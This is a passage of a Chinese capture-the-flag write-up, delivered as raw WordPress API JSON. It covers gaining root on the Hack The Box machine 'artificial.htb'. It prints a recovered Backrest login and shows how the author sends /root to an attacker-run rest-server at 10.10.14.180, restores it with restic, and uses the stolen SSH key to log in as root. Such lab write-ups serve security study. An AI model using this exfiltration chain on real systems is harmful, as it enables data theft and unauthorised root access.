src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750641743383-15480f30-a987-4735-9ba9-03707b539de3.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>backrest_root<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>!@#$%^<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>Backrest<\/code>\u540e\u53f0\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750641844961-272bd1e0-ce9a-4107-b101-c660fef0cc90.png\" alt=\"\" \/><\/p>\n<h2>Backrest\u5907\u4efdroot\u5bb6\u76ee\u5f55<\/h2>\n<p>\u767b\u5f55<code>Backrest<\/code>\u5907\u4efd\u7ba1\u7406\u7cfb\u7edf\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528<code>rest-server<\/code>\u5de5\u5177\u542f\u52a8\u4e00\u4e2a\u5907\u4efd\u670d\u52a1\u5668\u4e86\u3002\u9996\u5148\u4e0b\u8f7d<code>rest-server<\/code>\u7a0b\u5e8f\uff1a<a href=\"https:\/\/github.com\/restic\/rest-server\/releases\/download\/v0.14.0\/rest-server_0.14.0_linux_amd64.tar.gz\" target=\"_blank\"  rel=\"nofollow\" >restic\/rest-server: Rest Server is a high performance HTTP server that implements restic's REST backend API.<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750642390693-3a3ed866-1b4b-4f3e-8d0d-1461eafe8371.png\" alt=\"\" \/><\/p>\n<p>\u89e3\u538b\u7a0b\u5e8f\u540e\uff0c\u521b\u5efa<code>rest-server<\/code>\u7684\u6570\u636e\u76ee\u5f55\uff0c\u63a5\u7740\u76f4\u63a5\u542f\u52a8<code>rest-server<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">mkdir rest_server-data\n.\/rest-server --path .\/rest_server-data --no-auth<\/code><\/pre>\n<p>\u968f\u540e\u5728<code>Backrest<\/code>\u4e2d\u65b0\u5efa\u7f51\u7edc\u5907\u4efd\u6e90\uff1a\uff08\u7f51\u7edc\u8def\u5f84\u5e94\u4e3a<code>rest:http:\/\/10.10.14.180:8000\/<\/code>\uff0c\u5bc6\u7801\u81ea\u884c\u8bbe\u7f6e\u4e00\u4e2a\uff09<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750642580660-a7d0b678-05a5-4957-96d5-19e5117465c1.png\" alt=\"\" \/><\/p>\n<p>\u586b\u5199\u5b8c\u6bd5\u540e\uff0c\u70b9\u51fb<code>Submit<\/code>\u6309\u94ae\u63d0\u4ea4\u3002\u968f\u540e\u70b9\u51fb<code>Add Plan<\/code>\u6dfb\u52a0\u5907\u4efd\u4efb\u52a1\uff0c\u6307\u5b9a\u5907\u4efd\u8def\u5f84\u4e3a<code>\/root<\/code>\uff0c\u5907\u4efd\u6e90\u4e3a\u65b0\u6dfb\u52a0\u7684\u7f51\u7edc\u670d\u52a1\u5668\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750642818791-97eea8ef-a9ef-478f-8590-679627bf5ea9.png\" alt=\"\" \/><\/p>\n<p>\u586b\u5199\u5b8c\u6bd5\u540e\uff0c\u70b9\u51fb<code>Submit<\/code>\u63d0\u4ea4\u3002\u968f\u540e\u5207\u6362\u5230\u65b0\u5907\u4efd\u4efb\u52a1\uff0c\u70b9\u51fb<code>Backup Now<\/code>\u5c06<code>root<\/code>\u7528\u6237\u5bb6\u76ee\u5f55\u4e0b\u7684\u6570\u636e\u5907\u4efd\u5230\u653b\u51fb\u673a\u4e0a\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750642961112-4ec0f351-e011-47b8-9f1c-e3ec84f57bd8.png\" alt=\"\" \/><\/p>\n<p>\u5907\u4efd\u6210\u529f\uff01\u6700\u540e\uff0c\u5728\u653b\u51fb\u673a\u4e0a\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u83b7\u53d6\u5907\u4efd\u7684\u6570\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">mkdir root_backup\nrestic -r rest:http:\/\/10.10.14.180:8000\/ restore latest --target .\/root_backup\nchown -hR megumin:megumin .\/root_backup<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750643159914-51351729-e870-4a46-9a8e-21fd004165be.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8bfb\u53d6<code>.ssh<\/code>\u76ee\u5f55\uff0c\u6210\u529f\u53d1\u73b0<code>SSH<\/code>\u79c1\u94a5\u6587\u4ef6<code>id_rsa<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750643368125-003fb8fa-fb09-4497-9f22-397c274d8235.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>ssh<\/code>\u767b\u5f55<code>root<\/code>\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@artificial.htb -i .\/root_backup\/root\/.ssh\/id_rsa<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750643324926-219823d2-f489-4608-b246-6d7506bbdeaf.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.58.118\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.58.118 ( &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[18,14],"tags":[],"class_list":["post-308","post","type-post","status-publish","format-standard","hentry","category-htb_season_8","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/308","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=308"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/308\/revisions"}],"predecessor-version":[{"id":309,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/308\/revisions\/309"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=308"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}